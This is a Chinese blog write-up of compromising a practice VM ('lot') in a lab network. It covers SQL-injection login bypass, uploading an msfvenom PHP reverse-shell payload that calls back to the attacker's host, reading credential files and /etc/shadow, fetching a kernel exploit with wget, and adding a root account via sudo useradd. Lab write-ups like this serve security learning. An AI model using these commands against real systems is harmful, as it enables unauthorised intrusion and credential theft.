lot靶机

免责声明:以下内容仅供学习参考,如果用于任何非法途径,后果自负,希望大家做一个遵纪守法的好公民,一起保护我们的网络安全!!!

信息收集

网段扫描

nmap  192.168.63.0/24 -p-

扫描出 IP192.168.63.129的主机开放了80端口和22端口,尝试访问80端口,发现一个管理系统网站,并且网址重定向到了192.168.63.129/lot,确认为靶机

IP详细扫描

nmap 192.168.63.129 -A -p-

发现靶机系统为linux内核,http服务用的是apache/2.4.3(Debian)

敏感目录扫描

由于靶机的首页重定向到了lot路径,所以使用dirb对这个路径进行扫描

dirb http://192.168.63.129/lot

image-20230623114613026

扫描出一个可以访问成功的敏感网页——登录界面(http://192.168.63.129/lot/admin/)

image-20230623114545242

渗透阶段

SQL注入

看见登录框,必然联想到 SQL注入,于是使用万能用户名' or 1=1 -- -尝试登录,这里仅仅将万能用户名填入用户名框,尝试登录,发现登录成功,来到了这个页面:

image-20230623115107630

大胆猜测

到此,由于我仅仅输入了用户名,并没有输入密码,依然登录成功,所以在这里大家应该可以猜测出这个靶机的登录验证逻辑是什么了。

登录验证逻辑猜测:

获取用户输入的用户名密码,通过一条查询的sql同时校验登录信息,类似于下面这条sql

select count(1) from users where user = '用户名' and password = '密码';

所以我只需要输入一个万能用户名,由于完成用户名中的注释符号-- -注释后面的sql即可让这个sql永远有值返回,从而绕过校验。

发现文件上传漏洞

在登录进去之后,发现左边有多个板块,在仔细查看之后,发现了有两个地方,可以上传文件:

image-20230623131644818

image-20230623131704020

​ 根据这个网页的路径indx.php字样,可知是服务端是PHP,所以我尝试上传了一个PHP文件,发现上传成功,从而确定这个靶机并没有做文件上传过滤,任何文件都可以上传,并且我上传了一个图片之后,这个网页会直接把这个图片展示在页面上,说明网站解析了我们上传的文件。

生成PHP木马

​ 通过上面发现的文件上传漏洞,我们可以想到,既然网页会解析我们上传的任意文件,那么假设我们上传了一个木马文件,是不是也会解析,又由于该靶机的服务端是PHP编写,所以我们如果上传一个PHP的木马文件,里面写上反弹Shell的代码,当服务器解析之后就会主动连接我们的 kali,从而获得反弹shell。

​ 所以接下来,我们要使用 kalimsfvenom工具来生成 PHP木马文件,以下命令可以生成PHP木马文件:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.63.131 lport=4444 R>yuanboss.php

生成该木马文件之后,将其上传到该网页中即可。

配置MSF监听信息

  1. 启动 msfconsole
  2. 使用后门模块:use exploit/multi/handler
  3. 配置payload:set payload php/meterpreter/reverse_tcp
  4. 配置kaliIPset lhost 192.168.63.131
  5. 配置kali监听端口set lport 4444
  6. 启动监听:run

获得反弹Shell

​ 在经过以上配置之后,刷新靶机的网页,可以看到 kali成功拿到meterpreter,成功获得反弹Shell。然后输入Shell命令获取靶机的终端,但是这个终端和正常终端显示不一样,没有显示当前用户路径啥的,所以可以通过以下 python命令优化终端显示(前提是靶机有python环境):

python -c "import pty;pty.spawn('/bin/bash')"

image-20230623133653032

在Shell中查找线索

查看身份:whoami,当前用户是一个网站的用户身份www-data,并不是普通用户

查看/etc/passwdcat /etc/passwd,如下图可以发现一个普通用户 ppp

image-20230623134157882

查看家目录下的用户:ls /home,可以看到家目录下有个 ppp文件夹,前面又发现该靶机有个名为 ppp的普通用户,所以猜测这个ppp文件夹应该存在与ppp用户相关的信息。

查看ppp目录:发现local.txt

image-20230623134542481

发现local.txt的内容为:f29cea45f473ebfa834885c4ff70ec1a

将这个内容放到在线字符统计的网站查看字数,发现一共有32位,所以猜测这应该是md5加密,于是打开md5在线解密网站,解密失败。

所以只能想其他方式查找和普通用户 ppp相关的线索了,于是想到使用 find命令进行全局搜索与 ppp有关的内容:

find / -name ppp

image-20230623135724461

但是终端输出了很多没有权限的目录信息,这些目录是没有意义的,终端显示太多导致查看有效目录不方便,所以上网查找有没有过滤这些无用信息的方式,于是就找到了该命令:

find / -name ppp 2>/dev/null

在这个命令中,2>/dev/null 表示将标准错误输出重定向到 /dev/null 设备文件中,这样任何错误消息都会被丢弃,只有匹配的文件名才会被输出,使用该命令之后,终端输出如图所示:

image-20230623135807467

发现在 /etc配置文件的目录中有个 ppp目录,猜测里面有 ppp相关的配置信息,于是进目录查看:

image-20230623135933855

发现有个带 secrets字样的文件,于是cat chap-secrets查看:

image-20230623140042712

看到用户名 ppp,还有一串文本:ESRxd7856HVJB,猜测这个文本就是ppp用户的密码。

获取用户普通权限

于是通过以下命令,使用上面获得的密码进行SSH连接尝试:

ssh ppp@192.168.63.129

image-20230623140351702

SSH连接成功,发现 ppp普通用户的密码果然是ESRxd7856HVJB

为了方便操作,使用 SSH连接工具FinalShell直接连接这个普通用户的终端。

尝试提权姿势

​ 经过网上相关资料的查找,常用提权方式有以下几种:

1.suid提权:

find / -perm -u=s -type f 2>/dev/null

2.sudo提权:

使用 sudo -l 查询具有sudo权限命令,然后使用对应的命令提权

3.通过某些方法在/etc/passwd添加一个root权限的账户进行提权

4.计划任务提权:

find / -writable -type f 2>/dev/null 查找可利用的可写文件,若是计划任务文件可写即可利用提权

5.内核提权:

​ 先使用 uname -a 查看系统内核
​ 再使用 kalisearchsploit工具搜索内核是否有漏洞:searchsploit 版本号
​ 如果有内核漏洞,通过 earchsploit -m 漏洞库编号 下载对应的漏洞利用文件
​ 编译漏洞文件: gcc 漏洞编号.c -o exp
​ 赋予exp权限:chmod 777 exp
kali开启http服务:python3 -m http.server 80
​ 靶机通过wget下载expwget http://192.168.63.129/exp

​ 靶机执行:./exp

提权成功

经过以上方法的尝试,发现可以利用 sudo提权,输入sudo -l

image-20230623143957910

可以查看到有个命令 useradd,具有root权限,所以可以使用这个命令来添加任意一个root用户,例如以下命令,生成一个具有root权限的用户:

sudo useradd -p `openssl passwd 123456` yuanboss -o -u 0 -g root -G root -s /bin/sh -d /home/test

这个命令的意思是添加一个用户名为yuanboss,密码为123456的root权限用户。

通过 su test,尝试登录,发现登录成功,但是终端命令和正常的不一样,所以通过Python命令优化终端显示:

python -c "import pty;pty.spawn('/bin/bash')"

image-20230623150304214

可以看到,成功提权到root权限。

收集root用户信息

1.查看/etc/shadow,找到root用户密码的密文:

image-20230623150446195

密文:

$6$aBG5Ff5jWCF1R.b9$xX/d3MFwhsoPVGrTPAJnzF8WOsywsv6y0ePUzx8IHw8bcDfUxrKPY9cVQFOYoH384iNgtEr8F7ywB0M4pXE8G/

将密文放到pwd.txt文件中,john解密:john pwd.txt,最终解密失败,应该是密码太复杂的原因,无法撞库,不过关系不大,自己已经创建了一个具有root权限的test用户。

2.进入root用户的根目录,cd /root,通过 ls -a查看:

image-20230623150708012

发现了一个 proof.txt文件,查看文件内容,发现依旧是一个32位的字符串:21bae0a12690199cde7a65bff57723a5,于是尝试去 MD5在线解密,依旧解密失败

靶机到这就结束了,通过以上的渗透,已经成功获取了root用户,完美拿下这个靶机。

总结

​ 通过这次的打靶经验,我感觉有些思维定式或许是突破口,比如看到登录框,就想到了 SQL注入,然后从这个点入手,直接登录后台,最好需要知道这个后台是什么语言编写的,比如这个靶机,进入后台之后,我们可以看到网址的路径带有php,然后就可以确定服务端是 PHP了,这也是信息收集的一部分,要确定服务端编写语言,然后再从这个网页找漏洞,看到了两个可以文件上传的入口,看到文件上传,我们就应该想到,我们可以往服务器里面放东西了,这个动作对对方来说是非常危险的,因为作为黑客,可能有各种各样的方式将一个木马文件传到服务器,然后让服务器解析,执行我们的木马。

​ 所以可以通过尝试各种文件上传,验证文件上传漏洞,特别是使用服务端语言编写的文件,接下来自然就是利用木马文件获得反弹Shell了,最后拿到的是网站目录的Shell,这个时候终端看起来不友好,就需要使用Python代码优化终端显示了,然后一般再到家目录收集信息,这个时候收集信息的目的一般就是普通用户了,所以需要找普通用户,可以通过passwd文件看有什么普通用户,然后通过 find命令进行全局搜索与普通用户名相关的文件,然后慢慢查找相关信息,最后拿到普通用户的密码。

​ 拥有普通用户的权限之后,就可以尝试各种提权方式了,比如sudosuid,内核漏洞,定时任务文件可写权限等方式。然后各个方式尝试一下,最后一般可以拿到root权限了。

文件获得反弹Shell了,最后拿到的是网站目录的Shell,这个时候终端看起来不友好,就需要使用Python代码优化终端显示了,然后一般再到家目录收集信息,这个时候收集信息的目的一般就是普通用户了,所以需要找普通用户,可以通过passwd文件看有什么普通用户,然后通过 find命令进行全局搜索与普通用户名相关的文件,然后慢慢查找相关信息,最后拿到普通用户的密码。

​ 拥有普通用户的权限之后,就可以尝试各种提权方式了,比如sudosuid,内核漏洞,定时任务文件可写权限等方式。然后各个方式尝试一下,最后一般可以拿到root权限了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值